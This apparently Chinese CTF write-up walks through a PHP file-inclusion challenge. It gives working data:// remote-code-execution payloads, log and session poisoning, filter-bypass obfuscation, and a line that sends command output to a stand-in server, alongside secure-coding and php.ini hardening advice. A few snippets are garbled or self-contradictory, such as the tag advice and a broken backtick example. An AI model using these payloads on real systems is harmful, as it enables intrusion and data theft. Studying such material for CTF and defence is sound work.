1. 前言:文件包含漏洞与Data伪协议实战解析
作为一名长期奋战在Web安全一线的从业者,我经常遇到各种文件包含漏洞的实战场景。今天要分享的这个CTF题目"Web_php_include"非常典型,它巧妙地将PHP文件包含漏洞与协议过滤机制结合在一起,考察了我们对Data伪协议的灵活运用能力。
文件包含漏洞在OWASP Top 10中长期占有一席之地,特别是PHP环境下的本地文件包含(LFI)和远程文件包含(RFI)漏洞。这类漏洞的危害性在于攻击者可能通过包含恶意文件来执行任意代码,甚至获取服务器权限。而本题的特殊之处在于它过滤了常见的php://协议,迫使我们寻找替代方案——这正是Data伪协议大显身手的时候。
2. 题目环境与代码审计
2.1 初始环境分析
当我们访问靶场环境时,首先看到的是一段PHP代码。作为安全研究人员,第一步永远是仔细阅读源代码,理解其逻辑和限制条件。以下是题目核心代码的简化分析:
php复制<?php
$page = $_GET['page'];
while(strpos($page, "php://") !== false){
$page = str_replace("php://", "", $page);
}
include($page);
?>
这段代码的关键点在于:
- 通过GET参数
page接收用户输入 - 使用while循环持续检测并替换掉"php://"字符串
- 最终将处理后的内容传递给include函数
重要提示:这里的过滤机制采用循环替换而非一次性替换,意味着即使我们尝试构造"phphp://://"这样的payload也会被完全过滤掉,无法绕过。
2.2 漏洞原理深度解析
文件包含漏洞的本质在于程序将用户可控的输入直接传递给文件包含函数(如include、require等),而没有进行充分的验证和过滤。在本题中,虽然过滤了php://协议,但开发者忽略了其他可能带来风险的协议。
PHP支持多种封装协议,常见的有:
- php:// - 访问各种I/O流
- file:// - 访问本地文件系统
- http:// - 访问HTTP(s)资源
- data:// - 数据流封装器(RFC 2397)
- zip:// - 压缩流
本题中,开发者只过滤了php://协议,这为我们的攻击面留下了充足的空间。
3. Data伪协议详解与实战应用
3.1 Data协议基础语法
Data伪协议是RFC 2397定义的标准,允许在URL中直接嵌入小型数据。其基本语法结构如下:
code复制data:[<mediatype>][;base64],<data>
在PHP环境中,data协议常用于:
- 直接嵌入文本内容
- 执行PHP代码片段
- 传输base64编码的二进制数据
3.1.1 纯文本模式
最简单的形式是直接嵌入纯文本,省略MIME类型和编码声明:
code复制data:,Hello%20World!
这种形式适用于非执行性内容,如简单的文本显示。
3.1.2 可执行代码模式
当需要执行PHP代码时,必须指定正确的MIME类型:
code复制data://text/plain,<?php phpinfo(); ?>
这里text/plain可以替换为text/php或application/x-httpd-php等PHP能解析的类型。
3.1.3 Base64编码模式
对于包含特殊字符的内容,建议使用base64编码:
code复制data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
3.2 实战Payload构造
回到我们的题目,由于php://被过滤,我们选择data协议作为替代方案。经过多次测试,最终确定有效payload结构为:
code复制data://text/plain,<?system('command');?>
这里有几个关键点需要注意:
- 必须使用完整的
<? ?>标签而非短标签<? ?>,确保代码能被正确解析 - system函数比shell_exec等更可靠,因为它直接调用系统shell
- 命令字符串建议使用单引号,避免双引号可能带来的转义问题
4. 分步解题过程实录
4.1 初始信息收集
首先我们提交基本payload探测环境:
code复制http://target/page.php?page=data://text/plain,<?php phpinfo();?>
如果返回PHP信息页面,说明data协议可用且代码执行成功。这是重要的侦查步骤,不应跳过。
4.2 目录枚举
确认漏洞存在后,下一步是探索服务器目录结构。我们修改payload执行ls命令:
code复制data://text/plain,<?system('ls -la');?>
在实际CTF比赛中,我通常会尝试以下变体:
ls -la:查看详细文件列表ls /:检查根目录find / -name '*flag*':全局搜索flag文件
本题中,我们发现了一个可疑文件fl4gisisish3r.php,这显然是我们的目标。
4.3 文件内容读取
读取PHP文件内容时,直接使用cat可能会遇到问题,因为浏览器会将其解析为HTML。我推荐以下几种可靠方法:
方法1:使用highlight_file
code复制data://text/plain,<?highlight_file('fl4gisisish3r.php');?>
这种方法会以语法高亮形式显示源代码,flag通常位于注释或字符串中。
方法2:base64编码输出
code复制data://text/plain,<?echo base64_encode(file_get_contents('fl4gisisish3r.php'));?>
获取base64编码后解码,可以避免特殊字符被解析的问题。
方法3:hexdump
code复制data://text/plain,<?system('xxd -p fl4gisisish3r.php');?>
十六进制表示法能可靠地传输任何二进制数据。
4.4 最终Flag获取
经过测试,本题中最有效的方法是直接使用show_source函数(highlight_file的别名):
code复制data://text/plain,<?show_source('fl4gisisish3r.php');?>
在返回的源代码中,我们通常能在PHP注释或变量定义中找到flag,格式多为flag{...}或CTF{...}。
5. 防御方案与安全建议
5.1 安全编码实践
作为开发者,要防范此类漏洞,应当:
- 避免直接包含用户提供的路径
- 使用白名单机制限制可包含的文件
- 设置open_basedir限制文件访问范围
- 禁用危险的PHP函数(system、exec等)
改进后的安全代码示例:
php复制<?php
$allowed = ['home.php', 'about.php'];
$page = $_GET['page'];
if(in_array($page, $allowed)){
include(__DIR__.'/'.$page);
} else {
include(__DIR__.'/404.php');
}
?>
5.2 服务器配置加固
在php.ini中设置:
code复制allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html
disable_functions = system,exec,passthru,shell_exec
5.3 漏洞检测方法
作为安全人员,检测文件包含漏洞时应注意:
- 测试所有文件操作参数
- 尝试不同协议(php://, data://, expect://等)
- 检查过滤机制的绕过可能性
- 使用编码和特殊字符测试边界情况
6. 高级技巧与变种利用
6.1 日志文件包含技巧
当直接代码执行被限制时,可以尝试包含日志文件:
code复制http://target/page.php?page=/var/log/apache2/access.log
然后通过User-Agent注入PHP代码,这种方法在实战中往往有效。
6.2 Session文件包含
PHP会话文件通常存储在/tmp或/var/lib/php/sessions,可以通过包含会话文件执行代码:
code复制http://target/page.php?page=/tmp/sess_[sessionid]
6.3 编码绕过技巧
当特殊字符被过滤时,可以尝试:
- Base64编码:
data://text/plain;base64,[code] - 十六进制编码:
data://text/plain,<?=eval(hex2bin('...'))?> - 字符串拼接:
<?php $a='sy';$b='stem';$c=$a.$b;$c('ls');?>
7. 实战中的常见问题与解决方案
7.1 代码执行无回显
当命令执行成功但没有输出时,可以尝试:
- 延时判断:
<?system('sleep 5');?> - DNS外带:
<?system('nslookup yourdomain.com');?> - HTTP请求:
<?file_get_contents('http://your-server/?'.system('id'));?>
7.2 特殊字符过滤
遇到字符过滤时,可以使用:
- 变量函数调用:
<?php $f='system';$f('ls');?> - 反引号执行:
<?php echols;?> - create_function:
<?php $f=create_function('','system("ls");');$f();?>
7.3 长度限制绕过
当参数长度受限时,解决方案包括:
- 使用短标签:
<?=ls?> - 外部文件包含:先上传小马再包含
- 分段执行:通过多次请求拼接命令
8. 个人实战经验分享
在多年的CTF比赛和渗透测试中,我总结了以下宝贵经验:
- 不要过度依赖自动化工具:很多特殊过滤机制需要手动分析,工具往往无法识别
- 多协议尝试:当php://被禁时,试试data://、phar://甚至file://
- 环境差异意识:不同系统日志路径不同(如Linux的/var/log/nginx/access.log)
- 编码的艺术:有时简单的base64编码就能绕过复杂的过滤系统
- 保持耐心:可能需要尝试20种方法才能找到有效的那一种
一个特别有用的技巧是使用php://filter/convert.base64-encode/resource=来读取源代码,即使直接包含被限制。例如:
code复制php://filter/convert.base64-encode/resource=index.php
虽然本题中php://被过滤,但在其他场景下这个技巧非常实用。